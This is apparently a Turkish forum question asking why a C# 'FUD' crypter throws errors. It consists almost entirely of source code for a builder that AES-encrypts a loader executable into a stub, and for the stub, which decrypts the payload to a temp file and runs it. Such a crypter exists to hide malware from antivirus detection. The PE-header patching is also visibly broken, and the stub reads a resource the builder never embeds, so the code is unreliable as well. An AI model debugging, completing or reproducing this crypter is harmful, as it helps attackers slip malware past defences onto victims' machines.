C# Form Crypter yazarken neden hata veriyor?

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace FUDCrypter
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        static void EncryptFile(string inputPath, string outputPath, string key, string iv)
        {
            byte[] bytes = File.ReadAllBytes(inputPath);
            byte[] keyBytes = Encoding.ASCII.GetBytes(key);
            byte[] ivBytes = Encoding.ASCII.GetBytes(iv);

            using (Aes aes = Aes.Create())
            {
                aes.Key = keyBytes;
                aes.IV = ivBytes;

                using (ICryptoTransform encryptor = aes.CreateEncryptor())
                {
                    using (MemoryStream ms = new MemoryStream())
                    {
                        using (CryptoStream cs = new CryptoStream(ms, encryptor, CryptoStreamMode.Write))
                        {
                            cs.Write(bytes, 0, bytes.Length);
                        }
                        byte[] encryptedBytes = ms.ToArray();
                        File.WriteAllBytes(outputPath, encryptedBytes);
                    }
                }
            }
        }

        static void AddResource(string stubPath, string outputPath)
        {
            byte[] stubBytes = File.ReadAllBytes(stubPath);
            byte[] cryptBytes = File.ReadAllBytes(outputPath);

            using (FileStream fs = new FileStream(stubPath, FileMode.Append))
            {
                fs.Write(cryptBytes, 0, cryptBytes.Length);
            }

            using (BinaryReader br = new BinaryReader(File.Open(stubPath, FileMode.Open)))
            {
                br.BaseStream.Seek(0x3c, SeekOrigin.Begin);
                int peOffset = br.ReadInt32();
                br.BaseStream.Seek(peOffset + 0x6c + 0x8c + 0x8 + 0x10 + 0x10 + 0x10 + 0x10 + 0x4 + 0x4 + 0x4 + 0x4 + 0x4 + 0x4 + 0x4 + 0x4 + 0x4 + 0x4 + 0x4 + 0x4, SeekOrigin.Begin);
                int resourceSize = br.ReadInt32();

                using (BinaryWriter bw = new BinaryWriter(br.BaseStream))
                {
                    int newResourceSize = resourceSize + cryptBytes.Length + 40;
                    bw.Seek(-4, SeekOrigin.Current);
                    bw.Write(newResourceSize);

                    bw.Seek(0, SeekOrigin.End);

                    bw.Write((byte)1);
                    bw.Write(Encoding.ASCII.GetBytes("test_crypt.exe"));
                    bw.Write((ushort)0);

                    bw.Write((ushort)0x10);
                    bw.Write((ushort)0);

                    bw.Write((ushort)0);
                    bw.Write((uint)0);

                    bw.Write((uint)0);
                    bw.Write((uint)10);

                    bw.Write((uint)0);
                    bw.Write((uint)10);

                    bw.Write((uint)0);
                    bw.Write((uint)0);

                    bw.Write(cryptBytes.Length);
                    bw.Write((uint)(bw.BaseStream.Length + 4));
                }
            }
        }

        private void button1_Click(object sender, EventArgs e)
        {
            string inputPath = @"C:\Users\x\Loader.exe";
            string outputPath = @"C:\Users\x\test_crypt.exe";
            string stubPath = @"C:\Users\x\source\repos\Stub\Stub\bin\Debug\Stub.exe";
            string key = "1234567890abcdef";
            string iv = "fedcba0987654321";

            EncryptFile(inputPath, outputPath, key, iv);
            AddResource(stubPath, outputPath);
        }
    }
}

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace Stub
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            string key = "1234567890abcdef";
            string iv = "fedcba0987654321";
            RunFile(key, iv);
        }

        static void RunFile(string key, string iv)
        {
            byte[] encryptedBytes = GetResource();
            byte[] keyBytes = Encoding.ASCII.GetBytes(key);
            byte[] ivBytes = Encoding.ASCII.GetBytes(iv);

            using (Aes aes = Aes.Create())
            {
                aes.Key = keyBytes;
                aes.IV = ivBytes;

                using (ICryptoTransform decryptor = aes.CreateDecryptor())
                {
                    using (MemoryStream ms = new MemoryStream(encryptedBytes))
                    {
                        using (CryptoStream cs = new CryptoStream(ms, decryptor, CryptoStreamMode.Read))
                        {
                            using (MemoryStream decryptedMs = new MemoryStream())
                            {
                                cs.CopyTo(decryptedMs);
                                byte[] decryptedBytes = decryptedMs.ToArray();
                                string decryptedFilePath = Path.GetTempFileName();
                                File.WriteAllBytes(decryptedFilePath, decryptedBytes);
                                System.Diagnostics.Process.Start(decryptedFilePath);
                            }
                        }
                    }
                }
            }
        }

        static byte[] GetResource()
        {
            string resourceName = "Stub.Hacking.test_crypt.exe";

            Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream(resourceName);

            byte[] bytes = new byte[stream.Length];
            stream.Read(bytes, 0, bytes.Length);

            return bytes;
        }
    }
}